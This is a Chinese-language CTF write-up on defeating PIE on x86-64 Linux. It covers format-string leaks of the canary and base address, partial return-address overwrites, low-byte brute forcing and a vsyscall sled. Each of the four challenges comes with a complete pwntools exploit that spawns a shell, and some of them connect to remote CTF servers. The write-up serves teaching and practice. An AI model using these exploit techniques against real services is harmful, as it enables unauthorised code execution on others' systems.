PIE保护 前言: 参考:https://xz.aliyun.com/t/12809?time__1311=GqGxuDcD2Dg0YGN4WxUxYq%2BW5q5Mf%2BbD#toc-0
pie保护简单来说就是程序每次载入内存的地址都会发生变化,地址是随机的
差别还是很明显的,因此我们不能直接利用这些地址操作,要先寻找到pie的基地址,ida给出来的只是偏移地址。
程序的实际运行地址 = 程序加载基址 + 程序偏移地址
注意:即使开启了pie,真实地址和ida中所看到的偏移地址的末三位数字肯定还是一样的,这是由于内存页对其的原理。
关于开启pie的gdb调试
具体题目 1.[深育杯 2021]find_flag (格式化字符串-pie) 题目地址
很明显的格式化字符串漏洞,先泄露canary和pie基地址,然后栈溢出到后门函数就可以了 (此题有后门函数)
gdb调试查找泄露偏移
先让程序start,然后如上面下断点,查看栈结构
rbp上方的就是canary , 距离rsp偏移是11,看最左侧也可以看出来,0xb,再加上6个寄存器(64位),偏移地址是17
如何泄露pie地址,我们要得到一个既可以在ida中可以查看偏移的地址,也可以泄露出其真实地址的地方 , 正如下方,偏移位0x146f的地方,泄露这个地方的地址,减去0x146f,就可以得到pie的基地址了。
注意:ROPgadget看到的地址也只是偏移地址,要加上pie的基地址后才可以使用:
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *context(arch='amd64' ,log_level='debug' ) p = remote("node4.anna.nssctf.cn" ,28406 ) p.recvuntil("Hi! What's your name? " ) p.sendline(b'%17$p-%19$p' ) p.recvuntil("Nice to meet you, " ) canary = int (p.recv(18 ),16 ) p.recvuntil(b'-' ) pie_base = int (p.recv(14 ),16 ) - 0x146F print (f'[+][+][+]canary = {hex (canary)} ' )print (f'[+][+][+]pie_base = {hex (pie_base)} ' )getflag = pie_base + 0x01231 ret = pie_base + 0x000000000000101a p.recvuntil("Anything else? " ) payload = cyclic(0x38 ) + p64(canary) + b'a' *8 + p64(ret) + p64(getflag) p.sendline(payload) p.interactive()
2.linkctf_2018.7_babypie 题目链接
通过printf遇到\x00才会停止输出的特性,从而泄露canary
但是此时无法泄露出pie的基地址了,那么我们就无法修改ret_address了吗?其实不然
之前说过,由于页对其的机制,即使开启了pie,其末三位16进制数字也是一样的,正是因为这个,**所以返回地址和后门函数的地址应该只有末四位不同(运气最差的情况下)**,所以我们只需要修改末四位就可以ret到后门函数,从而getshell。
此题目就是如此,但是只需要修改末两位就可以getshell
gdb 调试,画框部分其实就是main函数结束后的返回地址,发现偏移是0xa6a
ida中system(“/bin/sh”)的地址偏移是0xa42,只有后两位不同,修改后两位即可
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *context(arch='amd64' ,log_level='debug' ) p = remote("node5.buuoj.cn" ,26786 ) payload = b'a' *0x25 +b'bbbb' p.recvuntil("Input your Name:\n" ) p.send(payload) p.recvuntil(b'bbbb' ) canary = u64(p.recv(7 ).rjust(8 ,b'\x00' )) print (f'[+][+][+]canary = {hex (canary)} ' )p.recvuntil('\n' ) payload = cyclic(0x28 ) + p64(canary) + b'a' *8 + b'\x42' p.send(payload) p.interactive()
注意: 如果有多位不同,而我们又只能逐字节更改,有时就需要自己写脚本爆破了
3.Basectf-week3-PIE(爆破返回地址) 题目链接
发现主函数就这些,什么都没有,所以我们要泄露libc,获得system函数,所需的gadget。
但是我们无法像基本的ret2libc一样ret到main函数,那么如何修改呢?看下面的调试:
gdb调试: 1.填满栈空间,查看ret_address
如图,返回地址是__libc_start_main+128,按照之前的方法来说,这里应该是一个pie+偏移的地址,我们修改末两字节就可以返回到main函数,然后通过泄露的地址计算出pie基地址,进行其他操作。
但是这里不是,但是难道就不行了吗?其实不然,__libc_start_main函数附近也有gadget可以使我们返回main函数,可以自己用telescope去慢慢找,但是也可以直接爆破。
其实你要知道,这题目肯定是修改末字节可以返回main函数的,不然就写不出来了。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *context(arch='amd64' ) elf = ELF("./pwn" ) libc = ELF("libc.so.6" ) p = process("./pwn" ) def bug (): gdb.attach(p) pause() printf_got = elf.got['printf' ] for i in range (0x100 ): print (f'Trying p8 value: {hex (i)} ' ) p = process("./pwn" ) payload = cyclic(0x100 + 8 ) + p8(i) p.send(payload) try : response = p.recvuntil("you said " , timeout=1 ) print (p.recv()) if response: libc_start_main = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) - i + 0xc0 print (f'[+][+][+][+] Correct p8 value: {hex (i)} ' ) print (f'[+][+][+][+] libc_start_main: {hex (libc_start_main)} ' ) base = libc_start_main - libc.sym['__libc_start_main' ] system = base + libc.sym['system' ] bin_sh = base + next (libc.search(b'/bin/sh\x00' )) pop_rdi_ret = base + 0x000000000002a3e5 ret = base + 0x0000000000029139 payload = cyclic(0x108 ) + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system) p.sendline(payload) p.interactive() break except EOFError: print (f'p8 value {hex (i)} failed.' ) finally : p.close()
效果:在出现输出停止的时候就说明那个数字是有效的,因为此时你已经远程控制服务器了,等待着你输出指令。
0xc0对应的是__libc_start_main的地址。
题目中没有相应的gadget,但是libc.so文件里面也有gadget,通过libc_base+偏移也可以使用
vsyscall绕过 参考文章:vsyscall滑梯
在开启PIE的情况下,如果我们没法泄露pie
我们该怎么办呢?这里介绍一下新的东西:vsyscall
引自gpt
vsyscall
是 Linux 内核中用于实现某些系统调用的一种机制。它提供了一种非常高效的方式来执行系统调用,主要用于优化一些常见的系统调用的性能。为了更好地理解 vsyscall
,我们需要从 Linux 系统调用的实现和优化角度来探讨。
系统调用简介 在 Linux 中,用户程序通过系统调用(system call)来请求内核服务。正常的系统调用过程通常涉及用户空间与内核空间之间的上下文切换。每当用户程序需要进行系统调用时,它会触发一个软件中断(如 int 0x80
或 syscall
指令),从而进入内核态。
这三部分就是vsyscall的函数的调用了,运用syscall进行内核请求,最后ret
主要分为下面三种操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 switch (vsyscall_nr) { case 0 : ret = __x64_sys_gettimeofday(regs); break ; case 1 : ret = __x64_sys_time(regs); break ; case 2 : orig_dx = regs->dx; regs->dx = 0 ; ret = __x64_sys_getcpu(regs); regs->dx = orig_dx; break ; }
vsyscall的地址是不会变的,通常是0xffffffffff600000
也就是说我们也可以将vsyscall
当作ret
来运用,即vsyscall滑梯
2024DSBCTF(ctfshow) 题目链接:this
main函数,很简单,虽然没有溢出,但是有个jmp,直接看汇编
1 2 3 4 5 6 7 8 9 10 11 12 void __fastcall main (__int64 a1, char **a2, char **a3) { _BYTE buf[64 ]; unsigned __int64 v5; v5 = __readfsqword(0x28 u); setinit(a1, a2, a3); logo(); write(1 , "Hack me!\n" , 9uLL ); read(0 , buf, 0xFF uLL); __asm { jmp qword ptr [rax] } }
很简单,只要我们修改rbp+buf-0x40
的值为后门函数,那么就可以jmp到后门函数getshell了
1 2 3 .text:00000000000009EB lea rax, [rbp+buf] .text:00000000000009F2 add rax, 40h ; '@' .text:00000000000009F6 jmp qword ptr [rax]
1 2 3 4 5 6 7 8 9 10 11 12 unsigned __int64 sub_A13 () { char buf[8 ]; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("wtf?" ); read(0 , buf, 7uLL ); buf[7 ] = 0 ; system(buf); return __readfsqword(0x28 u) ^ v2; }
1 2 3 4 5 6 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'/home/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/'
可以发现开启了PIE,我们无法直接jmp到后门函数,同时也无法泄露PIE,但是我们可以用vsyscall滑梯啊,虽然不能直接jmp到后门函数,但是可以ret到后门函数的地方执行
gdb调试 随便发个东西下断点:
可以发现我们一直ret到rbp上方四个机器字长的时候,将该地址末字节改为\x13
即可进入到后门函数
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *def bug (): gdb.attach(p) pause() def get_addr (): return u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) sd = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) rc = lambda num=4096 :p.recv(num) ru = lambda text :p.recvuntil(text) rl = lambda :p.recvline() pr = lambda num=4096 :print (p.recv(num)) ia = lambda :p.interactive() l32 = lambda :u32(p.recvuntil(b'\xf7' )[-4 :].ljust(4 ,b'\x00' )) l64 = lambda :u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) uu32 = lambda :u32(p.recv(4 ).ljust(4 ,b'\x00' )) uu64 = lambda :u64(p.recv(6 ).ljust(8 ,b'\x00' )) int16 = lambda data :int (data,16 ) lg= lambda s, num :p.success('%s -> 0x%x' % (s, num)) context(arch = "amd64" ,os = "linux" ,log_level = "debug" ) context.terminal = ['gnome-terminal' , '-x' , 'sh' , '-c' ] file = "./pwn" p = process(file) elf = ELF(file) vsyscall = 0xffffffffff600000 ru("Hack me!\n" ) payload = p64(vsyscall) * 30 payload += b'\x13' sd(payload) sl(b'/bin/sh' ) p.interactive()
注意🤨🤨 最开始我payload用了0x40的垃圾数据填充,但是是不行的,思考一下🤯🤯:
经过jmp rax那部分指令,rsp的地址是不会发生改变的,即使我们使用vsyscall
即ret
(pop rip),也是从rsp开始将数据给rip继续执行,所以一开始填充垃圾数据那么便会出现下面的情况:
下一步
所以要将栈上的数据都填充为vsyscall
,然后滑到后门函数